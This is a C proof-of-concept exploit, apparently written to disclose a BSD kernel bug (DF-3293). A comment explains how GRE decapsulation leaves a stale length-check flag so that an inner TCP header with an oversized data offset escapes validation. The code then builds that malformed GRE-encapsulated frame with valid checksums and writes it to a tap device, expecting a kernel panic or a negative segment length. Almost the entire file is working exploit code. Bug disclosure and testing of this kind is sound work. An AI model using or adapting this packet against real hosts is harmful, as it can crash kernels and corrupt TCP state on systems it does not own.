/*
 * DF-3293 PoC B - th_off*4 > tlen on IPv4 via GRE decapsulation.
 *
 * gre_input2() (sys/netinet/ip_gre.c:180-193) decapsulates the outer
 * packet, clears M_HASH but NOT M_LENCHECKED (set by ether_input ->
 * ip_lengthcheck for the OUTER header).  The inner packet re-enters
 * ip_input() -> ip_hashfn(), which sees the stale M_LENCHECKED and skips
 * ip_lengthcheck() for the inner TCP header.  tcp_input() then has only
 * the KASSERT at tcp_input.c:766 guarding `off <= tlen`:
 *
 *   INVARIANTS kernels (default X86_64_GENERIC): panic
 *   production kernels: tlen goes NEGATIVE and flows into the segment
 *     state machine (reassembly entries with lying tqe_len, rcv_nxt
 *     regression; with TH_URG set, unconditional panic("tcp_pulloutofband")
 *     at tcp_input.c:2798).
 *
 * Injection: writing the raw ethernet frame to the tap(4) device hands it
 * to ether_input() (tapwrite) -> ip_lengthcheck() marks the OUTER packet
 * M_LENCHECKED -> GRE decap -> stale flag skips inner validation.
 *
 * Setup (root, one time):
 *   ifconfig tap0 up
 *   ifconfig tap0 inet 10.99.0.1 netmask 255.255.255.0
 *   ifconfig gre0 create
 *   ifconfig gre0 tunnel 10.99.0.1 10.99.0.2 up
 *
 * Build:  cc -O -o tcp_off4_gre tcp_off4_gre.c
 * Run:    ./tcp_off4_gre
 */
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <net/bpf.h>
#include <net/if.h>
#include <net/ethernet.h>
#include <net/if_dl.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <errno.h>

#define GRE_HDR_LEN 4 /* flags(2) + proto(2), no options */

static u_int16_t
cksum(const u_int16_t *w, int len)
{
    u_int32_t sum = 0;

    while (len > 1) {
        sum += *w++;
        len -= 2;
    }
    if (len == 1)
        sum += *(const u_char *)w;
    while (sum >> 16)
        sum = (sum & 0xffff) + (sum >> 16);
    return (u_int16_t)~sum;
}

static int
parse_mac(const char *s, u_char *out)
{
    return sscanf(s, "%2hhx:%2hhx:%2hhx:%2hhx:%2hhx:%2hhx",
        &out[0], &out[1], &out[2], &out[3], &out[4], &out[5]) == 6;
}

static u_int16_t
ip4_cksum(void *hdr, int len)
{
    return cksum((u_int16_t *)hdr, len);
}

int
main(int argc, char **argv)
{
    /*
     * ether(14) + outer IP(20) + GRE(4) + inner IP(20) + inner TCP(20)
     */
    unsigned char pkt[sizeof(struct ether_header) + 20 + GRE_HDR_LEN +
                      20 + 20];
    unsigned char buf[4096];
    u_char tapmac[ETHER_ADDR_LEN];
    struct ifreq ifr;
    struct ether_header *eh;
    struct ip *oip, *iip;
    struct tcphdr *th;
    u_int16_t etype;
    int fd, n, plen;

    if (argc != 1) {
        fprintf(stderr, "usage: %s\n", argv[0]);
        return 1;
    }

    fd = open("/dev/tap0", O_RDWR);
    if (fd < 0) { perror("open /dev/tap0"); return 1; }

    /* tap0's MAC changes on every create - query it */
    {
        struct sockaddr_dl *sdl;

        memset(&ifr, 0, sizeof(ifr));
        if (ioctl(fd, SIOCGIFADDR, &ifr) < 0) {
            perror("SIOCGIFADDR");
            return 1;
        }
        sdl = (struct sockaddr_dl *)&ifr.ifr_addr;
        memcpy(tapmac, LLADDR(sdl), ETHER_ADDR_LEN);
    }

    memset(pkt, 0, sizeof(pkt));

    /* ---- ethernet: from the "GRE peer" to us ---- */
    eh = (struct ether_header *)pkt;
    memcpy(eh->ether_dhost, tapmac, ETHER_ADDR_LEN);   /* tap0 mac */
    eh->ether_shost[0] = 0x02; eh->ether_shost[1] = 0x00;
    eh->ether_shost[2] = 0x00; eh->ether_shost[3] = 0x00;
    eh->ether_shost[4] = 0x00; eh->ether_shost[5] = 0x02;
    etype = htons(ETHERTYPE_IP);
    memcpy(&eh->ether_type, &etype, 2);

    /* ---- outer IP: src=peer(10.99.0.2) dst=us(10.99.0.1), proto GRE ---- */
    oip = (struct ip *)(pkt + sizeof(struct ether_header));
    oip->ip_v = 4; oip->ip_hl = 5;
    oip->ip_tos = 0;
    oip->ip_len = htons(20 + GRE_HDR_LEN + 20 + 20);
    oip->ip_id  = htons(1);
    oip->ip_off = 0;
    oip->ip_ttl = 64;
    oip->ip_p   = 47;                    /* IPPROTO_GRE */
    inet_aton("10.99.0.2", &oip->ip_src);
    inet_aton("10.99.0.1", &oip->ip_dst);
    oip->ip_sum = 0;
    oip->ip_sum = ip4_cksum(oip, 20);

    /* ---- GRE header: no flags, ethertype IPv4 ---- */
    pkt[sizeof(struct ether_header) + 20 + 0] = 0;
    pkt[sizeof(struct ether_header) + 20 + 1] = 0;
    pkt[sizeof(struct ether_header) + 20 + 2] = 0x08;
    pkt[sizeof(struct ether_header) + 20 + 3] = 0x00;

    /* ---- inner IP: claims 40 total bytes (20+20) ---- */
    iip = (struct ip *)(pkt + sizeof(struct ether_header) + 20 +
        GRE_HDR_LEN);
    iip->ip_v = 4; iip->ip_hl = 5;
    iip->ip_len = htons(40);
    iip->ip_ttl = 64;
    iip->ip_p   = IPPROTO_TCP;
    inet_aton("10.99.0.2", &iip->ip_src);
    inet_aton("10.99.0.1", &iip->ip_dst);
    iip->ip_sum = 0;
    iip->ip_sum = ip4_cksum(iip, 20);

    /* ---- inner TCP: th_off=15 => claims a 60-byte header, but tlen=20 ----
     * checksum must cover exactly what the kernel will mbuf-walk after the
     * GRE trim: 40 bytes of inner datagram (pseudo-header over 20 payload). */
    th = (struct tcphdr *)((unsigned char *)iip + 20);
    th->th_sport = htons(40000);
    th->th_dport = htons(9999);
    th->th_seq   = htonl(1);
    th->th_ack   = htonl(1);
    th->th_off   = 15;                   /* <== 60 > tlen(20) */
    th->th_flags = TH_ACK;
    th->th_win   = htons(8192);
    th->th_sum   = 0;
    {
        /* pseudo header (12B) + the 20 bytes actually present */
        unsigned char cc[12 + 20];
        memset(cc, 0, sizeof(cc));
        memcpy(cc + 0, &iip->ip_src, 4);
        memcpy(cc + 4, &iip->ip_dst, 4);
        cc[8] = 0;
        cc[9] = IPPROTO_TCP;
        cc[10] = 0; cc[11] = 20;          /* tcp segment length, network order */
        memcpy(cc + 12, th, 20);
        th->th_sum = cksum((u_int16_t *)cc, sizeof(cc));
    }

    plen = sizeof(pkt);
    n = write(fd, pkt, plen);
    printf("wrote %d/%d bytes to tap0 (expect kernel panic "
        "\"bad TCP data offset 60 (tlen 20)\")\n", n, plen);
    if (n < 0)
        perror("write");
    sleep(2);
    return 0;
}
